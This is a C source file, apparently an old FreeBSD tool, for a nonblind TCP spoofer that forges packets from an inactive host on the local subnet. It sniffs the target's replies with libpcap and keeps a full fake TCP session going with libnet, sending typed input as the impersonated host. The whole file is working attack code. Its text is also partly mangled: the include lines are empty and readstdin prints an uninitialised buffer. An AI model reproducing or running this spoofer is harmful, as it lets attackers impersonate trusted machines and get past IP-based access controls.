/* * Copyright (c) 1999, 2000 * ReF UgEE. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by the University of * California, Berkeley and its contributors. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * Tested on: FreeBSD 4.1-STABLE and FreeBSD 4.2-STABLE#3. * * This is a very lame nonblind spoofer. It allows you to spoof a host in * your subnet (but he must be down, non-existant, or not able to send * packets.). You need libnet and libpcap. * * THIS PROGRAM IS ONLY FOR EDUCATIONAL PURPOSES. */ #include #include #define DEBUG 0 #if (DEBUG) #define Debug(x) printf x; fflush(stdout); #else #define Debug(x) #endif #define MTU 1500 #define URG 32 #define ACK_PSH 24 #define SYN_ACK 18 #define FIN_ACK 17 #define ACK 16 #define PSH 8 #define RST 4 #define SYN 2 #define FIN 1 #define SYN_SENT 1 #define ESTABLISHED 2 #define CLOSE_WAIT 4 #define LAST_ACK 8 pcap_t *pd; char *device; int datalink, offset; struct conn { unsigned long src_ip; unsigned long dst_ip; unsigned short src_prt; unsigned short dst_prt; unsigned long seq, expseq; unsigned long ack, expack; unsigned short state; }; struct packs { unsigned char ttl, protocol, version; unsigned char *saddr, *daddr; unsigned long seq, ack; unsigned short source, dest, type, ip, flags, window; char dataload[MTU]; unsigned long src_ip, dst_ip; int dataload_len; } pcks; struct _tcphdr { unsigned short th_sport; unsigned short th_dport; unsigned long th_seq; unsigned long th_ack; unsigned int th_x2:4, th_off:4; unsigned char th_flags; unsigned short th_win; unsigned short th_sum; unsigned short th_urp; }; void sendtcp(unsigned long src_ip, unsigned long dst_ip, unsigned short src_prt, unsigned short dst_prt, unsigned long seq, unsigned long ack, unsigned char flags, unsigned char *payload, int payload_len) { int c, network, packet_size; unsigned char *packet; packet_size = LIBNET_IP_H + LIBNET_TCP_H + payload_len; if ((network = libnet_open_raw_sock(IPPROTO_RAW)) == -1) libnet_error(LIBNET_ERR_FATAL, "can't open network.\n"); libnet_init_packet(packet_size, &packet); if (packet == NULL) libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed!\n"); libnet_build_ip(LIBNET_TCP_H + payload_len, /* size of packet * without IP header */ IPTOS_LOWDELAY, /* TOS */ 242, /* ID */ 0, /* frag */ 48, /* TTL */ IPPROTO_TCP, /* transport protocol */ src_ip, /* source IP */ dst_ip, /* dest IP */ NULL, /* payload (none) */ 0, /* payload lenght */ packet);/* packetheader memory */ libnet_build_tcp(src_prt, /* source port */ dst_prt, /* dest port */ seq, /* SEQ number */ ack, /* ACK number */ flags, /* flags */ 1024, /* window size */ 0, /* urgent pointer */ payload, /* payload (none) */ payload_len, /* payload length */ packet + LIBNET_IP_H); /* packet header memory */ if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H + payload_len) == -1) libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed!\n"); if ((c = libnet_write_ip(network, packet, packet_size)) < packet_size) libnet_error(LIBNET_ERR_WARNING, "libnet_write_ip only wrote %d bytes.\n", c); else Debug(("sent packet (%d bytes).\n", c)); if (libnet_close_raw_sock(network) == -1) libnet_error(LN_ERR_WARNING, "libnet_close_raw_sock\n"); libnet_destroy_packet(&packet); } void open_pcap(void) { char errbuf[PCAP_ERRBUF_SIZE]; if (device == NULL) { if ((device = pcap_lookupdev(errbuf)) == NULL) { printf("ERROR: pcap_lookup: %s\n", errbuf); exit(1); } } printf("device = %s\n", device); if ((pd = pcap_open_live(device, 68, 1, 1000, errbuf)) == NULL) { printf("pcap_open_live: %s\n", errbuf); exit(1); } if ((datalink = pcap_datalink(pd)) < 0) { printf("pcap_datalink: %s\n", pcap_geterr(pd)); exit(1); } Debug(("datalink = %d\n", datalink)); switch (datalink) { case DLT_NULL: offset = 4; break; case DLT_EN10MB: offset = 14; break; case DLT_SLIP: offset = 16; break; case DLT_RAW: offset = 0; break; case DLT_SLIP_BSDOS: case DLT_PPP_BSDOS: offset = 24; break; default: printf("unsupported datalink (%d)", datalink); } } int pkt_cap(struct packs * packs) { char *pkt; struct pcap_pkthdr pcap_hdr; struct ip *ip; struct _tcphdr *tcp; struct ether_header *eptr; if ((pkt = (char *) pcap_next(pd, &pcap_hdr))) { if (datalink == DLT_EN10MB) { } (char *) pkt += offset; ip = (struct ip *) pkt; packs->ttl = ip->ip_ttl; packs->protocol = (char) ip->ip_p; packs->version = (char) ip->ip_v; packs->saddr = (unsigned char *) &(ip->ip_src.s_addr); packs->daddr = (unsigned char *) &(ip->ip_dst.s_addr); packs->src_ip = ip->ip_src.s_addr; packs->dst_ip = ip->ip_dst.s_addr; switch (ip->ip_p) { case IPPROTO_TCP: tcp = (struct _tcphdr *) (pkt + sizeof(*ip)); packs->seq = ntohl(tcp->th_seq); packs->ack = ntohl(tcp->th_ack); packs->source = ntohs(tcp->th_sport); packs->dest = ntohs(tcp->th_dport); packs->window = ntohs(tcp->th_win); packs->flags = (tcp->th_flags) & (TH_FIN | TH_SYN | TH_RST | TH_PUSH | TH_ACK | TH_URG); packs->dataload_len = ntohs(ip->ip_len) - sizeof(struct ip) - sizeof(struct _tcphdr); memcpy(packs->dataload, pkt + sizeof(struct ip) + sizeof(struct _tcphdr), ntohs(ip->ip_len) - sizeof(struct ip) - sizeof(struct _tcphdr)); return 1; default: return -1; } } else return -1; } void pkt_dump(struct packs pack, struct conn * conn) { char *flags = NULL; if (pack.protocol == IPPROTO_TCP) { if ((pack.src_ip == conn->dst_ip) && (pack.dst_ip == conn->src_ip) && (pack.source == conn->dst_prt) && (pack.dest == conn->src_prt)) { Debug(("packet found. (state = %d seq = %d ack = %d expected seq = %d expected ack = %d )\n", conn->state, pack.seq, pack.ack, conn->expseq, conn->expack)); if ((pack.flags & TH_SYN) && (pack.flags & TH_ACK) && (pack.ack >= conn->expack) && (conn->state == SYN_SENT)) { Debug(("Expected packet (flags=SYN|ACK ACK=oldseq+1)\n")); Debug(("Replying with an ACK with SEQ=oldack and ACK=oldseq+1\n")); conn->seq = pack.ack; conn->ack = pack.seq + 1; conn->expseq = conn->ack; conn->expack = conn->seq; sendtcp(conn->src_ip, conn->dst_ip, conn->src_prt, conn->dst_prt, conn->seq, conn->ack, TH_ACK, NULL, 0); conn->state = ESTABLISHED; printf("Connection Established. (state = %d)\n", conn->state); } else if ((pack.flags & TH_FIN) && (conn->state == ESTABLISHED) && (pack.seq >= conn->expseq) && (pack.ack == conn->expack)) { Debug(("Received a FIN. Closing connection with an ACK and a FIN|ACK.\n")); conn->seq = pack.ack; conn->ack = pack.seq + 1; conn->expseq = conn->ack; conn->expack = pack.ack; conn->state = CLOSE_WAIT; sendtcp(conn->src_ip, conn->dst_ip, conn->src_prt, conn->dst_prt, conn->seq, conn->ack, TH_ACK, NULL, 0); sendtcp(conn->src_ip, conn->dst_ip, conn->src_prt, conn->dst_prt, conn->seq, conn->ack, TH_FIN | TH_ACK, NULL, 0); conn->state = LAST_ACK; } else if ((pack.flags & TH_ACK) && (conn->state == LAST_ACK) && (pack.ack >= conn->expack) && (pack.seq >= conn->expseq)) { printf("Received last ACK. Connection Closed.\n"); } else if ((pack.flags & TH_RST) && (pack.flags & TH_ACK) && (conn->state == SYN_SENT) && (pack.ack == conn->expack)) { printf("Received RST. Connection Refused.\n"); } else if ((pack.flags & TH_ACK) && (pack.flags & TH_PUSH) && (pack.ack >= conn->expack) && (pack.seq >= conn->expseq)) { Debug(("Received ACK|PSH. Sending ACK.\n")); printf("%s", pack.dataload); conn->ack = pack.seq + pack.dataload_len; conn->seq = pack.ack; sendtcp(conn->src_ip, conn->dst_ip, conn->src_prt, conn->dst_prt, conn->seq, conn->ack, TH_ACK, NULL, 0); } else if ((pack.flags & TH_ACK) && (pack.seq >= conn->expseq) && (pack.ack >= conn->expack)) { Debug(("Data ACKed.\n")); conn->seq = conn->expseq; conn->ack = conn->expack; } } } } int senddata(char *payload, struct packs pack, struct conn * conn) { conn->seq = conn->expack; conn->ack = conn->expseq; sendtcp(conn->src_ip, conn->dst_ip, conn->src_prt, conn->dst_prt, conn->seq, conn->ack, (TH_ACK | TH_PUSH), payload, strlen(payload)); conn->expack = conn->seq + strlen(payload); conn->expseq = conn->ack; Debug(("Sent Data. %d bytes\n", strlen(payload))); return 1; } void readstdin(struct packs pck, struct conn * conn) { int m, n, i = 0; char buf; char buff[8192]; char typed[8192]; unsigned char *payload; fd_set rset; struct timeval timeval; timeval.tv_sec = 0; timeval.tv_usec = 0; FD_ZERO(&rset); FD_SET(STDIN_FILENO, &rset); select(STDIN_FILENO + 1, &rset, NULL, NULL, &timeval); if (FD_ISSET(STDIN_FILENO, &rset)) { payload = typed; do { if ((n = read(STDIN_FILENO, &buf, 1)) <= 0) { printf("ERROR: read from STDIN.\n"); return; } typed[i++] = buf; } while ((buf != '\n') && (buf != '\r') && (n > 0)); typed[i--] = '\n'; typed[i++] = '\r'; typed[i + 1] = 0; if (conn->state != ESTABLISHED) return; printf("%c", buff[m]); senddata(payload, pck, conn); } } int main(int argc, char **argv) { int val; unsigned char *buf; struct conn conn; if (argc < 5) { printf("Usage: %s [device]\n", argv[0]); exit(1); } else { if (argc == 6) device = argv[5]; if (!(conn.src_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE))) libnet_error(LIBNET_ERR_FATAL, "Bad src ip.\n"); if (!(conn.dst_ip = libnet_name_resolve(argv[3], LIBNET_RESOLVE))) libnet_error(LIBNET_ERR_FATAL, "Bad dest ip.\n"); conn.src_prt = (unsigned short) atoi(argv[2]); conn.dst_prt = (unsigned short) atoi(argv[4]); } open_pcap(); conn.seq = 300; conn.ack = 100; conn.expseq = 0; conn.expack = 301; sendtcp(conn.src_ip, conn.dst_ip, conn.src_prt, conn.dst_prt, conn.seq, conn.ack, TH_SYN, NULL, 0); conn.state = SYN_SENT; while (1) { bzero(&pcks, sizeof(pcks)); if (pkt_cap(&pcks) > 0) pkt_dump(pcks, &conn); readstdin(pcks, &conn); } }